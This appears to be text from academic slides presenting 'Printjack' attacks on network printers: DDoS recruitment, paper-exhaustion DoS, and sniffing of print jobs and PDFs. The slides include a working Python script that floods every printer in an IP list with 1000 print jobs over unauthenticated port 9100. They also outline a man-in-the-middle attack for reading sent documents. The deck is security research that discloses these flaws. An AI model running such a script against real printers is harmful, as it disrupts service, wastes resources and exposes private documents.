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Introduction: the IoT world

Bella - Biondi
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IoT: network printers

Bella - Biondi

ConfidentialityAuthentication

PROBLEM

Network printers are provided with:
● web interface port 80
● raw printing port 9100

DOS
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Summary of the contributions
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Summary of the contributions (cont.)
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We define 3 types of attacks
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Printjack attack 1: zombies for traditional DDoS
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The CVE database can be used to search for RCE vulnerabilities for printers.
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Printjack attack 2: paper DoS
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f = open("IPs.txt", "r") #file containing IPs of target printers
lines = f.readlines()
for ip in lines:
    textfile = open("bot.txt", "r") #ascii file to be printed
    textlines = textfile.readlines()
    for count in range(0,1000): #number of print jobs
        s = socket.socket()
        s.connect((ip, 9100))
        for line in textlines:
            s.send(line+"\n")
        s.close()

Due to the lack of authentication on 
port 9100, we have built a script to 

exploit this port.
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Printjack attack 3: privacy infringement

Bella - Biondi

An attacker on the same network can read the ASCII content of the prints sent, for example, 
through the previous script
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Printjack attack 3: privacy infringement - PDF (cont.)

Bella - Biondi

An attacker can perform a MiTM in the network in which it is located to read the PDFs that are sent to the printer

GDPR art 5,par 2:"The controller shall be responsible for, and be able to demonstrate compliance with, paragraph 1 
(‘accountability’)."
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Printjack attack 3: privacy infringement - PDF on Windows (cont.)
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In the case of Windows, printers communicate via another port (65002) that uses a proprietary 
Microsoft protocol. We were not able to sniff the content of the PDF but only the metadata.
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Conclusions

Bella - Biondi

USE AT YOUR OWN RISK FOR ACADEMIC & NON-MALICIOUS PURPOSES.
This presentation is provided by the copyright holder and contributors "as is" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are 
disclaimed. in no event shall the copyright holder or its contributors be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or 
services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use of this 
software, even if advised of the possibility of such damage.

❏ Due to the lack of authentication on the printers, DOS attacks and privacy can be caused

❏ The Printjack family of attacks demonstrates that printers are routinely not configured 
and used with security and privacy in mind

❏ Printjack 1: was mostly determined by its impact rather than by its likelihood

❏ Printjack 2: could be carried out both from a local attacking machine or from a remote 
one if the target printers are exposed over the Internet

❏ Printjack 3: can only be mounted against the user only if the attacker is on the same 
network
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